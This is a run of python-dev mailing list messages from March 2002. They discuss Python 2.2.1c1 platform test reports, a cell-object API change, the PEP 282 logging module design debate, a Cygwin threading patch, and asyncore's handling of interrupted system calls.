Subject: [Python-Dev] 2.2.1c1 platform reports.
In-Reply-To: Hye-Shik Chang's message of "Fri, 22 Mar 2002 22:55:08 +0900"
References: <2m4rj825e3.fsf@starship.python.net> <20020322225508.A73331@fallin.lv>
Message-ID: <2melick8f4.fsf@starship.python.net>

Hye-Shik Chang <perky@fallin.lv> writes:

> On Fri, Mar 22, 2002 at 11:44:52AM +0000, Michael Hudson wrote:
> > 
> > OS: FreeBSD
> > 
> > test_math.test_exceptions blows up with "sqrt(-1) does not raise
> > ValueError".  It seems FreeBSD's libm doesn't set errno in this case,
> > and that MacOSX has inherited this behaviour (see below)
> > 
> > OS: OpenBSD
> > 
> > test_signal hangs on the sf compile farm.  We've had reports of this
> > before.  I can't be bothered to dig into it today.
> > 
> > OS: NetBSD
> > 
> > no reports.
> > 
> 
> All *BSDs are using msun of Sun as math library.
> NetBSD and OpenBSD may be same with FreeBSD.

I don't think they are, surprisingly.

[...]
> I'll submit PR to both of FreeBSD and NetBSD.

I'm not sure it's a problem.  I believe it depends on whether you
believe in C89 or C99, for instance.

Cheers,
M.

-- 
  I'd certainly be shocked to discover a consensus.  ;-)
                                      -- Aahz Maruch, comp.lang.python


From guido@python.org  Fri Mar 22 14:03:54 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 22 Mar 2002 09:03:54 -0500
Subject: [Python-Dev] Re: API change in 2.2.1c1
In-Reply-To: Your message of "22 Mar 2002 10:14:38 GMT."
 <2mzo10nc35.fsf@starship.python.net>
References: <web-3786338@digicool.com> <15513.62483.218999.747200@grendel.zope.com> <m3k7s5res2.fsf@mira.informatik.hu-berlin.de>
 <2mzo10nc35.fsf@starship.python.net>
Message-ID: <200203221403.g2ME3so08617@pcp742651pcs.reston01.va.comcast.net>

[MvL]
> > Given this API, I assume modules who use PyCell_GET would crash; if
> > authors restrict themselves to the non-macro versions, and never
> > declare PyCellObject variables (only pointers), the modules will
> > continue to work.
> > 
> > I'm personally fine with the assertion that nobody did this, so it is
> > ok to change (thus breaking the ABI). If so, the argument "fix it
> > sooner rather than later" escapes me, though.

Then let me explain it.  We've had a few months since 2.2, and that
was a release with so many new things (and bugs) that many of the more
conservative users probably steered clear of it.  It'll be another
half year until 2.3 can fix this feature.  But until then (or really,
until 2.3.1 is out!), more people will probably use 2.2.1 than have
already used it.  So since it's *possible* that someone will find a
use for PyCell_GET(), I'd prefer them to have access to the fixed
version.

> > In any case: you have been warned...
> 
> I'll back it out, for the sake of paranoia.  Just not just yet.

-0 to backing it out.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Fri Mar 22 14:07:22 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 22 Mar 2002 09:07:22 -0500
Subject: [Python-Dev] 2.2.1c1 platform reports.
In-Reply-To: Your message of "22 Mar 2002 11:44:52 GMT."
 <2m4rj825e3.fsf@starship.python.net>
References: <2m4rj825e3.fsf@starship.python.net>
Message-ID: <200203221407.g2ME7Mq08647@pcp742651pcs.reston01.va.comcast.net>

> I crunched through the various platform experiences I'd heard for
> 2.2.1c1, and came up with the following.

Wow, excellent reports, Michael!  I wonder if something like this
shouldn't be on the website somehow (preferably as a table for all
releases :-)!  Would save a lot of time answering questions about
portability probably.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From perky@fallin.lv  Fri Mar 22 14:20:19 2002
From: perky@fallin.lv (Hye-Shik Chang)
Date: Fri, 22 Mar 2002 23:20:19 +0900
Subject: [Python-Dev] 2.2.1c1 platform reports.
In-Reply-To: <2melick8f4.fsf@starship.python.net>; from mwh@python.net on Fri, Mar 22, 2002 at 02:02:07PM +0000
References: <2m4rj825e3.fsf@starship.python.net> <20020322225508.A73331@fallin.lv> <2melick8f4.fsf@starship.python.net>
Message-ID: <20020322232019.A89791@fallin.lv>

On Fri, Mar 22, 2002 at 02:02:07PM +0000, Michael Hudson wrote:
> I'm not sure it's a problem.  I believe it depends on whether you
> believe in C89 or C99, for instance.
> 

Oops. I was wrong.
I found that FreeBSD allows to set domain error by undefining _IEEE_LIBM
(NetBSD seems not to set _IEEE_LIBM by default)

Thank you very much!

--
Hye-Shik Chang <perky@fallin.lv>
Yonsei University, Seoul


From mwh@python.net  Fri Mar 22 14:23:21 2002
From: mwh@python.net (Michael Hudson)
Date: 22 Mar 2002 14:23:21 +0000
Subject: [Python-Dev] 2.2.1c1 platform reports.
In-Reply-To: Guido van Rossum's message of "Fri, 22 Mar 2002 09:07:22 -0500"
References: <2m4rj825e3.fsf@starship.python.net> <200203221407.g2ME7Mq08647@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <2msn6s65ra.fsf@starship.python.net>

Guido van Rossum <guido@python.org> writes:

> > I crunched through the various platform experiences I'd heard for
> > 2.2.1c1, and came up with the following.
> 
> Wow, excellent reports, Michael!

Thanks.  I had to write something like this, as I was getting confused
by all the reports, e.g. thinking I'd had a report of it working on
HP-UX 11.00 when in fact I'd had no such thing (I have got one now,
though).

> I wonder if something like this shouldn't be on the website somehow
> (preferably as a table for all releases :-)!

Perhaps.  For the moment, I like having it within emacs-range.

> Would save a lot of time answering questions about
> portability probably.

It certainly might help, especially if we can get people to help keep
it up to date.

Cheers,
M.

PS: 4-processor alphas compile Python quite quickly :)

-- 
112. Computer Science is embarrassed by the computer.
  -- Alan Perlis, http://www.cs.yale.edu/homes/perlis-alan/quotes.html


From aahz@pythoncraft.com  Fri Mar 22 14:45:25 2002
From: aahz@pythoncraft.com (Aahz)
Date: Fri, 22 Mar 2002 09:45:25 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCEKOOGAA.tim.one@comcast.net>
References: <20020322061806.GB2480@panix.com> <LNBBLJKPBEHFEDALKOLCCEKOOGAA.tim.one@comcast.net>
Message-ID: <20020322144525.GA21456@panix.com>

On Fri, Mar 22, 2002, Tim Peters wrote:
> [Aahz]
>>
>> Hrm.  Based on previous comments, particularly from the Timbot, I'm
>> wondering whether the linkage between !debugging and optimizing is too
>> tight in Python,
> 
> It is, and they're not the same thing in reality.
> 
>> and whether constructs like this should be deprecated.
> 
> In favor of what?  It (__debug__) serves a useful purpose now; that's why
> it's being used, after all.

Sorry, late-night terseness.  I meant deprecation at the community level
by BDFL fiat (similar to the way that Guido is "enforcing" distinct uses
for tuples and lists).  That is, the Python community would discourage
the use of __debug__ for the purpose of optimizing out code.  One thing
that would help is if we agreed on a magic symbol *now* for optimizing
out code (e.g. __optimize__), even if we don't (and we won't) implement
it for 2.3.

At the very least, we should IMO push people who want their code
optimized out to use a function packaged inside assert; that's an
interface that's not going to change, right?  (Yes, Jeremy, I know
that's not going to do what you want, but if you package the function
definition inside of __debug__, you can mechanically fix this setup
later.)

I am pushing this because I think we really want people to start getting
used to the idea that there *will* be a divorce eventually, even if we
don't do anything at the code level for 2.3 (or even 2.4).
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

"We should forget about small efficiencies, about 97% of the time.
Premature optimization is the root of all evil."  --Knuth


From fredrik@pythonware.com  Fri Mar 22 15:20:45 2002
From: fredrik@pythonware.com (Fredrik Lundh)
Date: Fri, 22 Mar 2002 16:20:45 +0100
Subject: [Python-Dev] 2.2.1c1 platform reports.
References: <2m4rj825e3.fsf@starship.python.net>
Message-ID: <024a01c1d1b5$2529b2a0$0900a8c0@spiff>

> Hardware: Cray (!) J90
> OS: UNICOS 10.0.0.3
>=20
> Got nowhere, as it couldn't define PY_UNICODE_TYPE.
>=20
> Asked tester to try --disable-unicode and it dies in _sre.c:
>=20
> cc -DNDEBUG -O -I. -I./Include -DHAVE_CONFIG_H   -c ./Modules/_sre.c =
-o Modules/_sre.o
> CC-147 cc: ERROR File =3D ./Modules/_sre.c, Line =3D 1791
>   Declaration is incompatible with "int join(char *, char *)" =
(declared at line
>           300 of "/usr/include/unistd.h").
>=20
>   join(PyObject* list, PyObject* pattern)

that's an internal, static function.  try renaming it to _sre_join
(it's called once, towards the end of pattern_subx)

</F>



From kbutler@campuspipeline.com  Fri Mar 22 16:16:03 2002
From: kbutler@campuspipeline.com (Kevin Butler)
Date: Fri, 22 Mar 2002 09:16:03 -0700
Subject: [Python-Dev] Re: PEP 282 comments
References: <E16oB9C-0000vn-00@mail.python.org>
 <3C9A7233.2060600@campuspipeline.com> <20020321192642.B26767@ActiveState.com>
Message-ID: <3C9B58C3.70108@campuspipeline.com>

Trent Mick wrote:

>Kevin, which side are you advocating here?
>Definitions:
>    'AGAINST' means to NOT provide the ability to log exceptions at levels
>        other than ERROR
>    'FOR' means that that functionality SHOULD be provided.
>

Sorry for the confusion. I am FOR the functionality, because the code 
I've written & maintained has
needed it.

Although I like simplicity and thus empathize with Guido's desire to 
simplify via YAGNI
("Done is better than perfect, simple is better than creative"), I 
believe failure to provide the
functionality provides only a small simplification but will result in 
too many distinct
reimplementations of the functionality and/or too much cluttered logging.

Guess-the-chad-was-dimpled-ly y'rs,

kb



From jeremy@zope.com  Fri Mar 22 16:38:55 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Fri, 22 Mar 2002 11:38:55 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <000501c1d18a$196c3b20$652b6992@alpha>
References: <20020320181307.B3444@ActiveState.com>
 <web-3791391@digicool.com>
 <20020321004605.D32590@ActiveState.com>
 <200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net>
 <20020321104204.C7763@ActiveState.com>
 <15513.63460.96950.618541@slothrop.zope.com>
 <20020321193747.C26767@ActiveState.com>
 <15514.32145.635345.602512@slothrop.zope.com>
 <000501c1d18a$196c3b20$652b6992@alpha>
Message-ID: <15515.24095.480677.797402@slothrop.zope.com>

>>>>> "VS" == Vinay Sajip <vinay_sajip@red-dove.com> writes:

  VS> But I think we all neglected to see that by implementing
  VS> exception with one extra argument, the whole controversy goes
  VS> away. Just remove logException and change exception so that it
  VS> becomes

  VS>   def exception(self, level, msg, *args):
  VS>     """Use when handling an exception""" if
  VS>     self.enabledFor(level):
  VS>       self.log(level, 1, msg, args)

  VS> We've effectively renamed logException() as exception(). There's
  VS> not a lot to choose between

  VS>     logger.exception(INFO, msg, args)

  VS> and

  VS>     logger.exception(msg, args)

  VS> If people can't stomach having to put the level into every call
  VS> to exception, then we can keep exception as it was [syntactic
  VS> sugar] and reintroduce logException (perhaps change the name,
  VS> it's a bit of a sore thumb).

The thing I like best about PEP 282 is the method names that indicate
the log levels.  While it's just a convenience, it's a handy one.  It
saves me having to explicitly manage my namespace to make those names
visible.  The Zope code base is littered with 
    "from zLOG import LOG, INFO, DEBUG"
lines.  If I find a place where I need to add a TRACE message, I have
to remember to check the import line to see if that name is bound.
I've forgotton on more than one occasion, and since it's on an unusual
code path, I don't find out until it fails at runtime.

Now we can just use "import zLOG" and name everything explicitly, but
that makes for a lot of extra typing:

    zLOG.LOG("Channel", zLOG.TRACE, "a trace message", exc=sys.exc_infO())

Now this is only a minor annoyance, but I'd be happier with the
shorter and equally clear version

    log.trace("a trace message", exc=sys.exc_info())

  VS> If any more syntactic sugar is wanted, then I think it's
  VS> reasonable for people to roll their own classes. 

I guess the question is how many users want this.  If many users like
this feature, we end up forcing everyone to roll their own classes.  I
don't have a good intuition about what the typical user of a logging
module will want.  Can log4j teach us anything?

  VS> some users want to use their own levels, no doubt for their own
  VS> good reasons. The current implementation supports this. They can
  VS> use log() and logException(), but debug(), info(), warn(),
  VS> error(), fatal() and exception() are useless to them - and so
  VS> exposed as the syntactic sugar they really are. So if users
  VS> really want, they can define a level BAD_HAIR_DAY and a
  VS> corresponding sugar method bad_hair_day(self, msg, *args) which
  VS> calls either log() or logException(), as they please. It's not a
  VS> job for the standard module, I'm sure all would agree.

I agree.  I also expect that most users will just use the standard
levels.

Jeremy




From jeremy@zope.com  Fri Mar 22 16:42:41 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Fri, 22 Mar 2002 11:42:41 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <200203221344.g2MDikw08437@pcp742651pcs.reston01.va.comcast.net>
References: <20020320181307.B3444@ActiveState.com>
 <web-3791391@digicool.com>
 <20020321004605.D32590@ActiveState.com>
 <200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net>
 <20020321104204.C7763@ActiveState.com>
 <15513.63460.96950.618541@slothrop.zope.com>
 <20020321193747.C26767@ActiveState.com>
 <15514.32145.635345.602512@slothrop.zope.com>
 <200203221344.g2MDikw08437@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15515.24321.873351.581748@slothrop.zope.com>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

  TM> The argument for the former is:
  TM> (1) KISS and YAGNI

  GvR> [Jeremy]
  >> I've said my piece for the most part, but this YAGNI stuff bugs
  >> me.

  GvR> Then let me explain it some more.  This logger module is not
  GvR> just for Zope, it's for all Python users.  It's clear that for
  GvR> 99% of the uses, this *is* a case of YAGNI.

This really isn't about YAGNI then.  It's about some customers' needs
being too complex to handle in the standard library.

Jeremy



From guido@python.org  Fri Mar 22 17:03:25 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 22 Mar 2002 12:03:25 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: Your message of "Fri, 22 Mar 2002 11:42:41 EST."
 <15515.24321.873351.581748@slothrop.zope.com>
References: <20020320181307.B3444@ActiveState.com> <web-3791391@digicool.com> <20020321004605.D32590@ActiveState.com> <200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net> <20020321104204.C7763@ActiveState.com> <15513.63460.96950.618541@slothrop.zope.com> <20020321193747.C26767@ActiveState.com> <15514.32145.635345.602512@slothrop.zope.com> <200203221344.g2MDikw08437@pcp742651pcs.reston01.va.comcast.net>
 <15515.24321.873351.581748@slothrop.zope.com>
Message-ID: <200203221703.g2MH3PJ12004@pcp742651pcs.reston01.va.comcast.net>

> This really isn't about YAGNI then.  It's about some customers' needs
> being too complex to handle in the standard library.

Why isn't that YAGNI?  To me it feels like this is YAGNI for most
users; we're designing a library module here, not a Zope component.

I'd be happy to find a different principle with a catchy name (maybe
the 80% principle or KISS are better) but I still think your use case
is pretty unusual.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From kbutler@campuspipeline.com  Fri Mar 22 17:29:27 2002
From: kbutler@campuspipeline.com (Kevin Butler)
Date: Fri, 22 Mar 2002 10:29:27 -0700
Subject: [Python-Dev] Re: PEP 282 comments
References: <E16oPVX-0005hZ-00@mail.python.org>
Message-ID: <3C9B69F7.3010602@campuspipeline.com>

[Guido]
 > Here's another way to look at it.  To support the base functionality,
 > we need an X amount of code.  To add the feature of logging exceptions
 > at any level, we would need an additional Y amount.  The number Y is
 > much smaller than X, but not insignificant.  If the size of a subclass
 > that adds that feature is approximately equal to Y, I think it should
 > be kept out of the base class in this case, because you can easily
 > write that subclass for Zope.  If writing such a subclass would
 > require significantly more code than Y (the amount of code needed to
 > integrate it directly into the base class), I agree that the base
 > class needs to be reworked to make this easier to add, or even to
 > support it outright.  But I find that hard to believe in this case.

I quite like this standard in general.

Then I applied it to adding the **kwargs for exc_info to Vinay's logging 
module 0.4,
and found that adding **kwargs to the convenience methods saved 143 
bytes compared
to the 0.4 implementation with its single "logException" method.

Each convenience method:

    def fatal(self, msg, *args):
        """
        Log 'msg % args' with severity 'FATAL'.
        """
        if self.manager.disable >= FATAL:
            return
        if FATAL >= self.getChainedPriority():
            self._log(FATAL, msg, args, None)

gets **kwargs and replaces the final "None" with **kwargs:

    def fatal(self, msg, *args, **kwargs):
...
            self._log(FATAL, msg, args, **kwargs)

logException goes away, taking its "sore thumb" name & usage with it.

My experience suggests we use Vinay's exception( lvl, msg, *args )
to automagically call sys.exc_info() at different log levels, but including
that change skews the results because of Vinay's shorter comment.  :-)

The signature of _log changes from:

    def _log(self, lvl, msg, args, exc_info):

to:

    def _log(self, lvl, msg, args, exc_info=None):

Simple usage & test cases work exactly as they did before,
plus Jeremy & I are very happy with our "advanced" applications,
and the "simple subclass" now just needs to override _log to do
advanced things with other optional arguments.

If you can provide a simple standard that supports both simple
and advanced applications with equal facility, and you can save
code by doing it without sacrificing readability, why in the world would
you want to require multiple users to add subclasses that just duplicate
the standard library methods with such a slight change?

[Guido]
"/The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code --
not in reams of trivial code that bores the reader to death./"

:-)

kb

PS. Adding the straightforward subclass LoggerX to provide the functionality
adds an extra 1.5K of code, all of it (except those negative 143 bytes) 
copied
directly from Logger.

Duplication of code is evil.




From gsw@agere.com  Fri Mar 22 17:42:16 2002
From: gsw@agere.com (Gerald S. Williams)
Date: Fri, 22 Mar 2002 12:42:16 -0500
Subject: [Python-Dev] POSIX thread code and Cygwin
In-Reply-To: <m3n0xu9gyb.fsf@mira.informatik.hu-berlin.de>
Message-ID: <GBEGLOMMCLDACBPKDIHFEEINCHAA.gsw@agere.com>

I submitted another patch to the POSIX threads code.
It is under SourceForge as patch number 533681.

This tells Python to explicitly use the POSIX semaphore
code for Cygwin. I had inadvertently left a remnant in
my version of thread.c that forced _POSIX_SEMAPHORES to
be defined for Cygwin.

It turns out _POSIX_SEMAPHORES is only set if __rtems__
is defined. At the time I didn't know what that meant
but thought it must have been defined since I got the
correct code.

If you'd prefer, I could provide a patch to thread.c
instead.

Sorry about that. I really meant to wrap it all up in
the first patch.

-Jerry

-O Gerald S. Williams, 22Y-103GA : mailto:gsw@agere.com O-
-O AGERE SYSTEMS, 555 UNION BLVD : office:610-712-8661  O-
-O ALLENTOWN, PA, USA 18109-3286 : mobile:908-672-7592  O-



From gmcm@hypernet.com  Fri Mar 22 17:47:18 2002
From: gmcm@hypernet.com (Gordon McMillan)
Date: Fri, 22 Mar 2002 12:47:18 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <200203221703.g2MH3PJ12004@pcp742651pcs.reston01.va.comcast.net>
References: Your message of "Fri, 22 Mar 2002 11:42:41 EST." <15515.24321.873351.581748@slothrop.zope.com>
Message-ID: <3C9B27D6.29518.5964E76@localhost>

On 22 Mar 2002 at 12:03, Guido van Rossum wrote:

[beating up Jeremy for being, em, unusual :-)]

> Why isn't that YAGNI?  To me it feels like this is
> YAGNI for most users; we're designing a library
> module here, not a Zope component. 
> 
> I'd be happy to find a different principle with a
> catchy name (maybe the 80% principle or KISS are
> better) but I still think your use case is pretty
> unusual.

It doesn't take something as complex as Zope to
want many of these features. I end up doing most
of them (from scratch each time, of course - getting
a round wheel out of linear code is a matter of 
successive approximation, which, fortunately,
Python makes enjoyable) in any long-running server
I write. Which is more than a few.

I suspect that the people who are going to want
it are under-represented in your sample of "users".
System / application developers rarely get involved
in language issues unless they're congenitally
obnoxious <0.9 wink>.

-- Gordon
http://www.mcmillan-inc.com/



From akuchlin@mems-exchange.org  Fri Mar 22 17:47:19 2002
From: akuchlin@mems-exchange.org (Andrew Kuchling)
Date: Fri, 22 Mar 2002 12:47:19 -0500
Subject: [Python-Dev] asyncore 2.1.1/2.2 incompatibility
Message-ID: <E16oT8J-0000YB-00@ute.mems-exchange.org>

[Crossposted to python-dev and the Medusa mailing list, and CC'ed to 
the bug reporter; watch your followups!]

Bug #528295 (http://www.python.org/sf/528295) reports a difference in
asyncore between 2.1.1 and 2.2.  The test program attached to that bug
report installs a signal handler so 'kill -HUP <pid>' causes the
program to re-read its configuration file.  This works in 2.2.1
(asyncore rev. 1.10), but doesn't in 2.2 (rev. 1.30).

Revision 1.25, made to fix http://www.python.org/sf/453099, is what
breaks it; as of that revision, asyncore's poll() functions catch the
EINTR error and quietly go around asyncore's main loop.  Before that
change, the EINTR exception would propagate upward, so the test
program could re-read its configuration file and then call
asyncore.loop() again.

So, as I see it, it's no longer possible to usefully respond to
signals with asyncore in 2.2.  Is that acceptable?  Or is there some
clever way to make 'kill -HUP' work again?

It might be a good idea to add a function to asyncore that can be
called to signal that the asyncore loop should be exited; signal
handlers could then call this function to force an exit.  That means
asyncore users will have to rewrite their code for 2.2, though.  If
there's agreement that this is OK, should I try to get it into 2.2.1?

--amk                                                             (www.amk.ca)
It is sometimes a mistake to climb, it is always a mistake never even
to make the attempt.
    -- Dream, in SANDMAN: "Fear of Falling"


From jeremy@zope.com  Fri Mar 22 17:52:33 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Fri, 22 Mar 2002 12:52:33 -0500
Subject: [Python-Dev] Re: PEP 282 comments
In-Reply-To: <200203221344.g2MDikw08437@pcp742651pcs.reston01.va.comcast.net>
References: <20020320181307.B3444@ActiveState.com>
 <web-3791391@digicool.com>
 <20020321004605.D32590@ActiveState.com>
 <200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net>
 <20020321104204.C7763@ActiveState.com>
 <15513.63460.96950.618541@slothrop.zope.com>
 <20020321193747.C26767@ActiveState.com>
 <15514.32145.635345.602512@slothrop.zope.com>
 <200203221344.g2MDikw08437@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <15515.28513.285016.576509@slothrop.zope.com>

>>>>> "GvR" == Guido van Rossum <guido@python.org> writes:

  GvR> Zope is a sophisticated application that has needs that go far
  GvR> beyond those of most Python users.  I'm very happy that it's
  GvR> proved possible to write Zope in Python.  But I don't think it
  GvR> should be the measuring stick by which the functionality of the
  GvR> standard library must be measured.

This makes me want to ask a more fundamental question.  What are the
expected use cases for the standard logging module(s)?  Who is the
customer?

I've never used a logging library before I used Zope, and never really
thought I needed one.  (Perhaps it would have been useful in Grail.)
It seems that prints are good enough for small applications and that
more complex logging libraries are mostly useful for sophisticated
applications.  If logging is mostly useful for sophisticated
applications, it would be a mistake to declare their requirements as
too complex.  On the other hand, maybe Zope should continue to use its
own logging tools.

I may just be suffering from tunnel vision, but perhaps the PEP could
have more text about the movitation.  Why kinds of problems does it
solve?  For what kinds of programs?

lets-write-a-logging-tool-for-ndiff-ly y'rs,
Jeremy
 




From aahz@pythoncraft.com  Fri Mar 22 17:56:40 2002
From: aahz@pythoncraft.com (Aahz)
Date: Fri, 22 Mar 2002 12:56:40 -0500
Subject: [Python-Dev] YAGNI
In-Reply-To: <200203221703.g2MH3PJ12004@pcp742651pcs.reston01.va.comcast.net>
References: <web-3791391@digicool.com> <20020321004605.D32590@ActiveState.com> <200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net> <20020321104204.C7763@ActiveState.com> <15513.63460.96950.618541@slothrop.zope.com> <20020321193747.C26767@ActiveState.com> <15514.32145.635345.602512@slothrop.zope.com> <200203221344.g2MDikw08437@pcp742651pcs.reston01.va.comcast.net> <15515.24321.873351.581748@slothrop.zope.com> <200203221703.g2MH3PJ12004@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020322175639.GA8028@panix.com>

On Fri, Mar 22, 2002, Guido van Rossum wrote:
> 
> Why isn't that YAGNI?  To me it feels like this is YAGNI for most
> users; we're designing a library module here, not a Zope component.
> 
> I'd be happy to find a different principle with a catchy name (maybe
> the 80% principle or KISS are better) but I still think your use case
> is pretty unusual.

+1 on "80%"

Three reasons:

* "Explicit is better than implicit"

* YAGNI is a falsehood when directed at someone who does need the
feature, even though you're using the plural "you"

* I can never remember what YAGNI stands for; it's not that common, even
here on python-dev
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

"We should forget about small efficiencies, about 97% of the time.
Premature optimization is the root of all evil."  --Knuth


From guido@python.org  Fri Mar 22 18:05:28 2002
From: guido@python.org (Guido van Rossum)
Date: Fri, 22 Mar 2002 13:05:28 -0500
Subject: [Python-Dev] asyncore 2.1.1/2.2 incompatibility
In-Reply-To: Your message of "Fri, 22 Mar 2002 12:47:19 EST."
 <E16oT8J-0000YB-00@ute.mems-exchange.org>
References: <E16oT8J-0000YB-00@ute.mems-exchange.org>
Message-ID: <200203221805.g2MI5SL12642@pcp742651pcs.reston01.va.comcast.net>

> Bug #528295 (http://www.python.org/sf/528295) reports a difference in
> asyncore between 2.1.1 and 2.2.  The test program attached to that bug
> report installs a signal handler so 'kill -HUP <pid>' causes the
> program to re-read its configuration file.  This works in 2.2.1
                                                            ^^^^^
I presume you mean 2.1.1?  From the CVS log it looks like this has
also been "fixed" in 2.1.2; the comment says "select not defensive.
check for EINTR and make sure it's handled painlessly."

> (asyncore rev. 1.10), but doesn't in 2.2 (rev. 1.30).

> Revision 1.25, made to fix http://www.python.org/sf/453099, is what
> breaks it; as of that revision, asyncore's poll() functions catch the
> EINTR error and quietly go around asyncore's main loop.  Before that
> change, the EINTR exception would propagate upward, so the test
> program could re-read its configuration file and then call
> asyncore.loop() again.

Sigh.  You can't win.  One user specifically wants to continue on
EINTR (SF bug 453099 which caused Jeremy to create rev 1.25), another
specifically wants it to propagate exception.

> So, as I see it, it's no longer possible to usefully respond to
> signals with asyncore in 2.2.  Is that acceptable?  Or is there some
> clever way to make 'kill -HUP' work again?

I think if Carl (who submitted 528295) had created a signal handler
that raised an exception (rather than simply return), that would
probably have had the desired effect -- but I'm not 100% sure.  If it
works, it has the added advantage of working with earlier versions of
Python too.  I'd like to hear if this workaround works.  Carl?

> It might be a good idea to add a function to asyncore that can be
> called to signal that the asyncore loop should be exited; signal
> handlers could then call this function to force an exit.  That means
> asyncore users will have to rewrite their code for 2.2, though.  If
> there's agreement that this is OK, should I try to get it into
> 2.2.1?

I think a way to tell asyncore to exit its loop on the next iteration
is still a good idea, but as it's a feature, I don't think it should
be added to any revision before 2.3.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From barry@zope.com  Fri Mar 22 18:11:18 2002
From: barry@zope.com (Barry A. Warsaw)
Date: Fri, 22 Mar 2002 13:11:18 -0500
Subject: [Python-Dev] Re: PEP 282 comments
References: <20020320181307.B3444@ActiveState.com>
 <web-3791391@digicool.com>
 <20020321004605.D32590@ActiveState.com>
 <200203211309.g2LD9Nv06766@pcp742651pcs.reston01.va.comcast.net>
 <20020321104204.C7763@ActiveState.com>
 <15513.63460.96950.618541@slothrop.zope.com>
 <20020321193747.C26767@ActiveState.com>
 <15514.32145.635345.602512@slothrop.zope.com>
 <200203221344.g2MDikw08437@pcp742651pcs.reston01.va.comcast.net>
 <15515.28513.285016.576509@slothrop.zope.com>
Message-ID: <15515.29638.773054.450300@anthem.wooz.org>

>>>>> "JH" == Jeremy Hylton <jeremy@zope.com> writes:

    JH> I've never used a logging library before I used Zope, and
    JH> never really thought I needed one.  (Perhaps it would have
    JH> been useful in Grail.)  It seems that prints are good enough
    JH> for small applications and that more complex logging libraries
    JH> are mostly useful for sophisticated applications.  If logging
    JH> is mostly useful for sophisticated applications, it would be a
    JH> mistake to declare their requirements as too complex.  On the
    JH> other hand, maybe Zope should continue to use its own logging
    JH> tools.

I think Jeremy has a good point here.  IME, logging itself is
unnecessary for for many Python programs, be they library modules or
simple scripts.  Once you get into doing things like writing web
applications, or long running servers, where you typically don't have
a stdout or stderr, the print approach fails, and you end up inventing
a logging mechanism.  I thought/hoped the whole point of this PEP was
to give such application authors a common way to spell its logging
facilities, so that end-users can have a common way to configure the
logging of the applications they're installing and administering.

All one line hacks eventually turn into scripts.  All scripts
eventually turn into multi-user applications.  All multi-user
applications eventually turn into web apps.  All web apps eventually
become distributed.

;)

-Barry


From akuchlin@mems-exchange.org  Fri Mar 22 18:20:53 2002
From: akuchlin@mems-exchange.org (Andrew Kuchling)
Date: Fri, 22 Mar 2002 13:20:53 -0500
Subject: [Python-Dev] Re: asyncore 2.1.1/2.2 incompatibility
In-Reply-To: <200203221805.g2MI5SL12642@pcp742651pcs.reston01.va.comcast.net>
References: <E16oT8J-0000YB-00@ute.mems-exchange.org> <200203221805.g2MI5SL12642@pcp742651pcs.reston01.va.comcast.net>
Message-ID: <20020322182053.GB2122@ute.mems-exchange.org>

On Fri, Mar 22, 2002 at 01:05:28PM -0500, Guido van Rossum wrote:
>> program to re-read its configuration file.  This works in 2.2.1
>                                                            ^^^^^
>I presume you mean 2.1.1?  From the CVS log it looks like this has

2.1.1 is correct; typo on my part.

>I think if Carl (who submitted 528295) had created a signal handler
>that raised an exception (rather than simply return), that would
>probably have had the desired effect -- but I'm not 100% sure.  If it
>works, it has the added advantage of working with earlier versions of
>Python too.  I'd like to hear if this workaround works.  Carl?

Trying it, it looks like it does, and a quick glance at ceval.c agrees.
The docs for libsignal don't mention anything about what happens when
you raise an exception in a signal handler, though, and perhaps they
should.  

To sum up, it looks like this isn't a bug, and the test program should
be raising a RereadConfiguration exception instead of relying on
details of asyncore's loop.  That also means asyncore doesn't need a
way to be told to exit its loop, since raising an exception does the
job nicely and Pythonically.

--amk                                                             (www.amk.ca)
One has no wish to be devoured by alien monstrosities, even in the
cause of political progress.
    -- One of the Tribunal, in "Carnival of Monsters"


From kbutler@campuspipeline.com  Fri Mar 22 18:22:55 2002
From: kbutler@campuspipeline.com (Kevin Butler)
Date: Fri, 22 Mar 2002 11:22:55 -0700
Subject: [Python-Dev] Re: PEP 282 comments
Message-ID: <3C9B767F.8040508@campuspipeline.com>

Following up on my own message:

[Kevin Butler]

> the "simple subclass" now just needs to override _log to do
> advanced things with other optional arguments.

I realized that this is a significant issue.  In library design,
the "Open-Closed" principle is really important - the code
should be open to extension, but is closed to modification.

By adding the **kwargs to the convenience methods,
the Logger opens itself to change and enables all subclasses 
to extend the interface by overriding _log with more keyword
arguments.  Without **kwargs, subclasses have to override
_log and every one of the convenience methods (1.5K of duplicated code).

Setting-myself-up-for-YAGNI-ly y'rs,

kb




From jeremy@zope.com  Fri Mar 22 18:24:32 2002
From: jeremy@zope.com (Jeremy Hylton)
Date: Fri, 22 Mar 2002 13:24:32 -0500
Subject: [Python-Dev] Re: asyncore 2.1.1/2.2 incompatibility
In-Reply-To: <20020322182053.GB2122@ute.mems-exchange.org>
